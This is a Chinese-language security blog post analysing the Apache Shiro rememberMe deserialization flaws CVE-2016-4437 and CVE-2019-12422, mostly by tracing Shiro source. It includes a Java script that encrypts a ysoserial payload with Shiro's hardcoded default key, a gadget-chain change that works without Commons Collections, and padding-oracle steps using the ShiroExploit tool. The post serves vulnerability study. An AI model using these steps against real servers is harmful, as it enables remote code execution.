Shiro 反序列化分析及no cc利用链

Shiro

简单介绍一下Shiro,Shiro是Apache开发的Java框架,可执行身份验证、授权、加密和绘画管理。简单来说就是Java的一款安全框架。

Shiro基本功能点如下图

shiro

  • Authentication:身份认证 / 登录,验证用户是不是拥有相应的身份;
  • Authorization:授权,即权限验证,验证某个已认证的用户是否拥有某个权限;即判断用户是否能做事情,常见的如:验证某个用户是否拥有某个角色。或者细粒度的验证某个用户对某个资源是否具有某个权限;
  • Session Management:会话管理,即用户登录后就是一次会话,在没有退出之前,它的所有信息都在会话中;会话可以是普通 JavaSE 环境的,也可以是如 Web 环境的;
  • Cryptography:加密,保护数据的安全性,如密码加密存储到数据库,而不是明文存储;
  • Web Support:Web 支持,可以非常容易的集成到 Web 环境;
  • Caching:缓存,比如用户登录后,其用户信息、拥有的角色 / 权限不必每次去查,这样可以提高效率;
  • Concurrency:shiro 支持多线程应用的并发验证,即如在一个线程中开启另一个线程,能把权限自动传播过去;
  • Testing:提供测试支持;
  • Run As:允许一个用户假装为另一个用户(如果他们允许)的身份进行访问;
  • Remember Me:记住我,这个是非常常见的功能,即一次登录后,下次再来的话不用登录了。

Shiro 不会去维护用户、维护权限;这些需要我们自己去设计 / 提供;然后通过相应的接口注入给 Shiro 即可

Shiro-550

CVE-2016-4437

复现

首先复现一下,复现环境vulhub

直接ysoserial打cb链,然后用加密脚本加密一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class shiro550enc {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/Temp/", "poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

发包,加密好的payload放到rememberMe Cookies中,成功(复现没什么好说的

image-20240326150407968

分析

沿着复现思路去分析一下,首先切入点是通过rememberMe Cookies传入payload触发CB链反序列化命令执行

先看一下shiro处理cooki。由于我们传入的序列化数据被kPH+bIxk5D2deZiIxcaaaA==这段密钥加密,所以找一下带这段密钥的位置,于是找到AbstractRememberMeManager.java

image-20240326152025389

跟进文件看一下,这个密钥只用在构造方法中,并且传给方法setCipherKey,最终是将密钥定义给类中加密解密的密钥

1
2
3
4
5
public AbstractRememberMeManager() {
    this.serializer = new DefaultSerializer<PrincipalCollection>();
    this.cipherService = new AesCipherService();
    setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

简单搜索找到他的子类CookieRememberMeManager,类中找到这个方法,简单来说就是对于当前cookie属性进行base64解码,而cookie为构造方法创建时赋予,调用SimpleCookie进行封装,并且传入cookie name为rememberMe,这样就拿到了rememberMe cookie的值,对其进行base64解码并返回

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
		...
    String base64 = getCookie().readValue(request, response);
    // Browsers do not always remove cookies immediately (SHIRO-183)
    // ignore cookies that are scheduled for removal
    if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

    if (base64 != null) {
        base64 = ensurePadding(base64);
        if (log.isTraceEnabled()) {
            log.trace("Acquired Base64 encoded identity [" + base64 + "]");
        }
        byte[] decoded = Base64.decode(base64);
        if (log.isTraceEnabled()) {
            log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
        }
        return decoded;
    } else {
        //no cookie set - new site visitor?
        return null;
    }
}

继续向上,看一下调用,注意到这个getRememberedPrincipals方法,方法属于我们上面谈到的抽象类AbstractRememberMeManager

image-20240326154705431

看一下这个方法,调用getRememberedSerializedIdentity对rememberMe进行base64解码后,又进行了convertBytesToPrincipals,方法对其进行处理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
        if (bytes != null && bytes.length > 0) {
            principals = convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException re) {
        principals = onRememberedPrincipalFailure(re, subjectContext);
    }

    return principals;
}

跟进这个方法发现解密后调用反序列化对其进行处理,这样就解释得通payload使用固定的那串密钥加密后使用base64编码的原因

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (getCipherService() != null) {
        bytes = decrypt(bytes);
    }
    return deserialize(bytes);
}

再向上追溯就是shiro的处理逻辑了,不细分析了,知道漏洞成因得了,有兴趣的自己看源码,向下的话CB链看这篇文章

无CC攻击链

其实上述我们使用ysoserial的CB链能够攻击成功是因为vulhub环境中存在Commons Collections,我们自己搭建原始Shiro是没有Commons Collections的,这样就会利用失败,报错找不到ComparableComparator类,原因:

commons-beanutils本来依赖于commons-collections,但在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全

分析过CB我们知道在BeanComparator初始化时如果不传值会默认将comparator属性赋成ComparableComparator.getInstance(),所以就是这里做了一个调用

1
2
3
4
5
6
7
8
9
public BeanComparator(String property, Comparator<?> comparator) {
    this.setProperty(property);
    if (comparator != null) {
        this.comparator = comparator;
    } else {
        this.comparator = ComparableComparator.getInstance();
    }

}

看了一下ComparableComparator,实现Comparator和Serializable接口,因此要找一个实现了这两个接口并且在commons-beanutils或jdk或shiro中,并且带一个compare方法(BeanComparator.internalCompare()中调用,这个方法最好没什么问题)

image-20240326165554164

其实很多,添加一个即可,这边使用Collections.ReverseComparator

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
private static class ReverseComparator
    implements Comparator<Comparable<Object>>, Serializable {

    private static final long serialVersionUID = 7207038068494060240L;

    static final ReverseComparator REVERSE_ORDER
        = new ReverseComparator();

    public int compare(Comparable<Object> c1, Comparable<Object> c2) {
        return c2.compareTo(c1);
    }

    private Object readResolve() { return Collections.reverseOrder(); }

    @Override
    public Comparator<Comparable<Object>> reversed() {
        return Comparator.naturalOrder();
    }
}

Shiro-721

CVE-2019-12422

这个洞利用条件比较苛刻,需要一个登录成功用户的rememberMe cookie,利用其结合Padding Oracle Attack爆破出密钥,再构造序列化字段,利用口子和触发命令执行方式与shiro550相同,换了个加解密方式

Padding Oracle Attack不多介绍了

复现

本地编译版本问题一直失败直接用人家编译好的war起

原生shiro编译好运行就是这样

image-20240401152215087

配合ShiroExploit工具进行攻击测试,需要登录用户的cookie

image-20240401154632369

漏洞检测进行爆破

image-20240401154712482

爆破完成可以使用自带命令执行尝试执行命令

分析

复现利用口子同shiro550,还是rememberMe这个cookie

对比一下看一下变了哪里

对比AbstractRememberManager构造方法,setCipherKey方法传入一个生成的密钥而不是使用固定密钥

1
2
3
4
5
6
public AbstractRememberMeManager() {
    this.serializer = new DefaultSerializer<PrincipalCollection>();
    AesCipherService cipherService = new AesCipherService();
    this.cipherService = cipherService;
    setCipherKey(cipherService.generateNewKey().getEncoded());
}

跟进看一下密钥生成,看一下generateNewKey,最后定位到AbstractSymmetricCipherService#generateNewKey(int keyBitSize),其中keyBitSize默认为128,方法中调用KeyGenerator#init方法构建一个key并返回一个generateKey()生成的key

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public Key generateNewKey(int keyBitSize) {
    KeyGenerator kg;
    try {
        kg = KeyGenerator.getInstance(getAlgorithmName());
    } catch (NoSuchAlgorithmException e) {
        String msg = "Unable to acquire " + getAlgorithmName() + " algorithm.  This is required to function.";
        throw new IllegalStateException(msg, e);
    }
    kg.init(keyBitSize);
    return kg.generateKey();
}

继续跟进,定位到如下位置,传入var1 = 128,另一个参数JceSecurity.RANDOM为SecuryRandom实例,进行一些类初始化赋值

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public final void init(int var1) {
    this.init(var1, JceSecurity.RANDOM);
}

public final void init(int var1, SecureRandom var2) {
    if (this.serviceIterator == null) {
        this.spi.engineInit(var1, var2);
    } else {
        RuntimeException var3 = null;
        KeyGeneratorSpi var4 = this.spi;

        while(true) {
            try {
                var4.engineInit(var1, var2);
                this.initType = 4;
                this.initKeySize = var1;
                this.initParams = null;
                this.initRandom = var2;
                return;
            } catch (RuntimeException var6) {
                if (var3 == null) {
                    var3 = var6;
                }

                var4 = this.nextSpi(var4, false);
                if (var4 == null) {
                    throw var3;
                }
            }
        }
    }
}

再看一下generateKey,调试发现this.serviceiterator为null所以直接进入engineGenerateKey

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public final SecretKey generateKey() {
    if (this.serviceIterator == null) {
        return this.spi.engineGenerateKey();
    } else {
        RuntimeException var1 = null;
        KeyGeneratorSpi var2 = this.spi;

        while(true) {
            try {
                return var2.engineGenerateKey();
            } catch (RuntimeException var4) {
                if (var1 == null) {
                    var1 = var4;
                }

                var2 = this.nextSpi(var2, true);
                if (var2 == null) {
                    throw var1;
                }
            }
        }
    }
}

跟进engineGenerateKey,因为使用AES所以进入AESKeyGenerator#engineGenerateKey,定义一个SecretKeySpec实例,keySize默认为16,this.random为之前定义的SecretRandom实例,利用其生成16个byte数,并用其构造var1并返回

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
protected SecretKey engineGenerateKey() {
    SecretKeySpec var1 = null;
    if (this.random == null) {
        this.random = SunJCE.getRandom();
    }

    byte[] var2 = new byte[this.keySize];
    this.random.nextBytes(var2);
    var1 = new SecretKeySpec(var2, "AES");
    return var1;
}

构造方法如下,最后调用getEncoded方法,最终得到一个byte字符串为密钥

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public SecretKeySpec(byte[] var1, String var2) {
    if (var1 != null && var2 != null) {
        if (var1.length == 0) {
            throw new IllegalArgumentException("Empty key");
        } else {
            this.key = (byte[])var1.clone();
            this.algorithm = var2;
        }
    } else {
        throw new IllegalArgumentException("Missing argument");
    }
}

public byte[] getEncoded() {
    return (byte[])this.key.clone();
}

那么利用脚本捕获了怎样的反馈作为boolean判断呢,看了一圈利用工具的源码,粗略的看一下是用deleteMe来进行判断的

(感兴趣看一下RoundTask#start方法)

接下来去源码中看一下

分析过550我们知道解密位置convertBytesToPrincipals,其中调用decrypt方法,跟进看一下,传入base64解码后的字符数组,调用getCipherService取到cipherService,然后调用其decrypt方法以及解密密钥对其进行解密,解密密钥同加密密钥都是通过上面步骤生成的密钥

1
2
3
4
5
6
7
8
9
protected byte[] decrypt(byte[] encrypted) {
    byte[] serialized = encrypted;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
        serialized = byteSource.getBytes();
    }
    return serialized;
}

一直跟进跟进decrypt方法到JcaCipherService#crypt方法,方法中调用javax.crypt.Cipher#doFinal原生方法(再往下看比较低层并且抛出错误内容与解密错误没什么关系

1
2
3
4
5
6
7
8
private byte[] crypt(javax.crypto.Cipher cipher, byte[] bytes) throws CryptoException {
    try {
        return cipher.doFinal(bytes);
    } catch (Exception e) {
        String msg = "Unable to execute 'doFinal' with cipher instance [" + cipher + "].";
        throw new CryptoException(msg, e);
    }
}

往回看,直接看调用convertBytesToPrincipals的getRememberedPrincipals,方法中,如果捕获到错误调用onRememberedPrincipalFailure方法赋值给principals

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
        if (bytes != null && bytes.length > 0) {
            principals = convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException re) {
        principals = onRememberedPrincipalFailure(re, subjectContext);
    }

    return principals;
}

看一下onRememberedPrincipalFailure,方法中调用forgetIdentity我们继续跟进,判断如果是http请求,取到request和response然后调用forgetIdentity方法,最终调用SimpleCookie#removeFrom方法,简单看一下,其中DELETED_COOKIE_VALUE为字符串"deleteMe",最终调用addCookieHeader方法添加一个cookie: rememberMe=deleteMe,我们如果选择了remember me但是如果账户密码有问题也会得到这个cookie

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public void removeFrom(HttpServletRequest request, HttpServletResponse response) {
    String name = getName();
    String value = DELETED_COOKIE_VALUE;
    String comment = null; //don't need to add extra size to the response - comments are irrelevant for deletions
    String domain = getDomain();
    String path = calculatePath(request);
    int maxAge = 0; //always zero for deletion
    int version = getVersion();
    boolean secure = isSecure();
    boolean httpOnly = false; //no need to add the extra text, plus the value 'deleteMe' is not sensitive at all

    addCookieHeader(response, name, value, comment, domain, path, maxAge, version, secure, httpOnly);

    log.trace("Removed '{}' cookie by setting maxAge=0", name);
}

所以基本可以确定如果如果解密失败返回Set-Cookie: rememberMe=deleteMe,脚本也以此作为判断

参考

http://goodapple.top/archives/261

https://github.com/inspringz/Shiro-721

https://cloud.tencent.com/developer/article/2130129

0%